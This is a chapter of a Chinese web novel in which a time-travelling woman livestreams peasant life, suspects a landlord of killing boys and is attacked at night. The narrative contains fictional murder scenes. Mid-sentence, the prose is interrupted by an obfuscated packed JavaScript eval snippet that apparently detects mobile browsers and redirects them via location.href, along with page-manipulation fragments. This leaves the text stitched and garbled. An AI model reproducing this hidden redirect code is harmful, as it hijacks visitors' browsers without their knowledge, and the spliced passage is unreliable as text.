年轻人叹道:“世道不公。” 老人道:“若世道公平,我们也不会成日只能放牛,风吹日晒,还吃不饱饭,若世道公平,胡生也不会因为几株秧苗,被硬生生打废一条腿!” 5. 我在古代打工第五天 矮土坡上发出一阵漫长的叹息。 苏扶璎实在是听不下去,收了玉牌,默默把黄牛牵远。 理解得越多,就越痛苦。知道得越多,就越撕裂。世界上正在遭受苦难的人太多,若是太过于共情,那就只会让自己清醒地痛苦着。 原来隔壁村叫青岩村。 原来“意外死去”的人不止朱小九一个。 原来这里面真的有幕后黑手。 苏扶璎只觉得自己后背发麻,透着一股吓人的凉意。 她握紧牵引绳,无数次告诉自己:与她无关,与她无关。 死的都是男童,说明杀人凶手是有准确目标对象的,是变态还是怎么样?总归目标的人暂时不会是她。 可是……那目标永远也不会是她吗? 苏扶璎停下脚步,抬头看着天,刺眼的阳光落下来,让她根本没有办法睁得开眼睛。 刺眼的阳光平等地照在每个人的身上,时代的每一粒灰尘,落在平凡人的身上,也就像是一座大山。 现在祸不临头,可以后呢? 只要这个时代法则是上位者敲骨吸髓,她们这种下位者终究没有活路的那一天。 人为刀俎,我为鱼肉。 苏扶璎厌恶这样的生活,她偏头看了一眼身旁的老黄牛,牛朝着她“哞”了一声。 苏扶璎道:“没心没肺!” 牛便又“哞”了声,低头吃草,没有烦恼。 苏扶璎心道:这个世道,或许人过得还真不如畜生。 她把牛捆在树上,也顾不上山上的路边有多脏,直接倒在地上,双手枕在脑后,翘着二郎腿,随手采一个狗尾巴草塞嘴里。 大祸未临头,目前最重要的事情还是努力打工,挣钱吃饭。 她把玉牌掏出,直接挂在脖子上,她摁下直播间开关。 直播通道再次开启。 已经有不少现代人进入到了她的直播间里。 “今天不犁地,改放牛。” 苏扶缨指了指身旁正吃草吃得正欢的老黄牛,道:“这是地主家的牛,名字叫大黄,我给它起的名字,正在吃草。” 直播间里的人数,较起昨日,有了挺大的增长,昨日最高人数在150+,今天刚开播就差不多有两百人了。 弹幕也在翻滚: “看了营销号切片过来的,听说直播行业来了个巨牛逼的coser,专门cos古代贫农直播。” 苏扶璎面无表情地回答这条弹幕:“不是cos,是穿越。” 但当她说到「穿越」这个词语的时候,系统自动“哔哔”两声,给她消音了。 苏扶璎:? 系统答:“穿越等属于直播间敏感词汇,最好不要说。” 苏扶璎:…… “真豁得出去啊博主,身上的衣服是烂烂的,脏,看起来像个臭臭的脏脏包。” 苏扶璎答:“古代生产落后,没水洗澡不是很正常的事情吗?” 像她们这样的贫农,洗澡拿个木桶出去,借点雨水或者是去溪流挑水回来,再捡点柴回家烧。 最近大旱多日,喝的水都不够,去哪里挑洗澡水?在说温饱问题都暂时还没有解决,谁会去注意个人形象? 被直播间的观众们这么一提醒,苏扶璎这才注意到这个问题。 她抬起手臂,闻了一下自己身上的味道,控制不住做出了一种想呕吐的表情。 臭啊。像臭水沟混着粪便池水,又像是馊了七天七夜的酸菜鱼味。 “牛逼,这种细节都注意到了。” “博主,你不火谁火啊,看我给你点个关注。” 苏扶璎嚼着狗尾巴草说:“别光点关注啊,给我打赏点钱,我在古代要饿死了。” 「打赏点钱」被系统消音了。 系统道:“禁止出现网络乞讨行为。” 苏扶缨气笑了,但实际上压根笑不出来。 她把头顶的遮阳斗笠摘下来,盖在自己脸上,就这样把直播间挂着。 开始陷入了沉睡。 “????” “博主怎么就这样睡了。” “感觉在古代生活好好啊,放放牛,锄锄地,放牛的时候还能睡大觉,真的太爽了。” “等你真的穿越过去,吃不饱穿不暖,你就知道错了。” “穿到古代万一穿成妃子了呢,还能够找个帅哥王爷谈谈恋爱,哎呦,太爽了……” “你首先先把弱智低脂小说卸载吧。” “其实就算不幸运穿成农民,当盛世的农民也不错。” “古代生产力如此落后,就算是没有战争的太平盛世,也过得并不好啊,顶多是吃的饱饭罢了,你以为真有现代一半这么好啊。” 直播间里正在开玩笑,甚至还有一些人,在天真地“憧憬”着穿越到古代的美好生活,还有一些所谓的“理智科普派”和“美好憧憬派”,在直播间进行激烈争吵。 但是苏扶璎此时却没有太多的心思去关注直播间里的事情。 只要闭上眼睛,她的脑海里,就会不停地重现刚才那两个人的谈话声,以及想起他们之间的谈话内容。 幼童,男性,意外死亡。 以及地主高禄。 苏扶缨闭上眼,又睁开。 猛地联想起一件事——她今日在地主高禄家,牵老黄牛出来时,就碰到一群人一人牵着个幼童,走进高禄家。 只不过幼童有男有女,男童居大半数。毕竟是逃荒来的,本就没多少吃食,就算有点儿吃的,在逃荒路上,也都大部分先给男童吃了,女童一般早早就饿死。 苏扶缨闭上眼时,脑海里重现出在高禄后门碰见的那双清亮的眼睛,以及朱小九眯起笑眼,喊她“苏大哥”。 眼睛闭上又睁开。 完了,她想。 这两件事情之间会不会有所关联? 该不会是她想的那样吧?幕后黑手是否是地主高禄?但是高禄又为何会这么做,该不会是有什么杀人怪癖,专门爱杀男幼童。 她把盖在自己脸上的遮阳斗笠拿来,伸手摸了一下自己的额头。 摸到一手冷汗。 被吓出来的。 喂饱了牛,苏扶璎关了直播,把老黄牛牵回地主家,领了吃的之后,一言不发地直接跑出了高禄家。 深怕高禄家真的藏了什么秘密。 苏扶璎端着吃食回到村口,发现昨天还聚集在门口的几十个难民,此时已经不再继续守在那儿了,彻底没了踪影。 没人知道他们去了哪里。 自然也并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358590|168039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会有人关心。 苏扶璎一路跑回家,关上家门口之后,只觉得双腿发软,就这么直接瘫倒在了地上。 缓了半晌,才彻底缓过来。她也不知道自己究竟在害怕什么,但是就是害怕。 在这个无依无靠的世界,就只有她一个人,她也会觉得十分无助。 瘫在地上喝完粥和烧饼,稍微缓了点儿力气,苏扶璎只觉得这一天接收到对方信息量实在是太大,她很累,又腰酸背痛,什么都不想思考。 她只蜷缩在家中的草席上,想要先好好休息一会儿,却在此时听到门口传来哭嚎声——方向是从朱家传来的。 朱小九的尸体上午已经被处理了,拿一件草席简单裹着,朱老三花钱请了一些贫农,把尸体丢上乱尸山,就算完事儿。 朱娘深受打击,彻底晕了过去,醒来时便开始哭,从苏扶璎放牛回来到入睡,便总能听到哭嚎声。 但此时门口传来的哭声,明显并不属于朱娘,而是属于个男人。 听起来像朱老三的声音。 苏扶璎是朱家邻居,距离他们家最近,自然十分清楚地听到了动静声。 只不过她并不打算管,这是他们朱家自己的事情,和她没有关系。 她只想置身事外,保全自己。 于是苏扶璎捂住自己的耳朵,当做没听见,紧闭眼睛,想强迫自己忽略掉隔壁的动静,就这么慢慢睡下去。 与此同时隔壁的朱家。 此时夜已经黑了,朱老三看着黑暗中突然出现在他面前的瘦弱身影。黑影手里举着刀,还没等看清来人的模样,他的肩膀就被砍了一大刀。 朱老三捂着自己的受伤流血的胳膊,发出一声十分尖锐的猪叫声:“杀夫了,救命啊,朱娘她疯了,她要杀夫!!” 朱老三其实压根没看清来人,只是能在这个点无声无息潜入他的房间的人,除了他的枕边人朱娘,还能是谁? 他嚎叫了没几声,就彻底叫不出来了。菜刀毫不留情地划破他的喉咙,借着是胸口,剩下的几刀胡乱补刀。 须臾,他便彻底断了气。 隔壁朱家的惨叫声隔着堵墙,都清清楚楚地传进苏扶璎的耳朵里,直觉告诉她,应该不会是夫妻吵架打架这么简单。 她从草席上爬起来,身上衣衫皆已被冷汗湿透,忍住没有走出去看究竟发生了什么,而是把门堵得更加严实了。 已经把门锁得更严实了,她应该不会有事,她一生积德行善,就算是厉鬼索命,也不会找到她才是。 窗外却走来脚步声,窸窸窣窣的,最终在她的床边停下。 她寒毛竖起,偏头一看,纸糊的窗已经被利刀捅破。 一瞬间的事。 在黑暗中,她看到了高禄的那张熟悉的她,他那张肥胖的脸上,带着似笑非笑的诡异笑容,距离她仅仅就只有一米远。 他的声音如同鬼魅:“你还是听到了,对吧?” 她还没有反应过来时,高禄便已经拖着锄头,一步步朝着她逼近,脚下踩着枯败的树枝,发出“咯吱、咯吱”的响声。 仿佛是催命符。 高禄幽声道:“果然还是被你发现了。” 他猛地举起锄头,一挥而下。 苏扶璎的身体猛地一僵硬,倒在了血泊之中。